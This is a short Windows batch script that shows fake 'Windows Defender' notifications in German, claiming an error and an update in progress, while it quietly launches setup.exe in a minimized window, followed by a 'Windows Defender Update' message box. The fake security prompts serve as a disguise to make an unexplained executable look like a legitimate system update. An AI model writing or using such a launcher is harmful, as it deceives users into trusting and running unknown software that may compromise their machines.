@echo off

powershell.exe -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Error; $n.BalloonTipTitle='Windows Defender'; $n.BalloonTipText='Etwas ist schiefgelaufen!'; $n.BalloonTipIcon=[System.Windows.Forms.ToolTipIcon]::Error; $n.Visible=$true; $n.ShowBalloonTip(3000); Start-Sleep -Seconds 3; $n.Dispose();"
powershell.exe -Command "Add-Type -AssemblyName System.Windows.Forms,System.Drawing; $n=New-Object System.Windows.Forms.NotifyIcon; $n.Icon=[System.Drawing.SystemIcons]::Error; $n.BalloonTipTitle='Windows Defender'; $n.BalloonTipText='Update wird installiert'; $n.BalloonTipIcon=[System.Windows.Forms.ToolTipIcon]::Error; $n.Visible=$true; $n.ShowBalloonTip(3000); Start-Sleep -Seconds 3; $n.Dispose();"
start /min cmd /c setup.exe
powershell.exe -Command "Add-Type -AssemblyName PresentationFramework; [System.Windows.MessageBox]::Show('Windows Defender Update', 'Titel der Message Box', 'OK', 'Information')"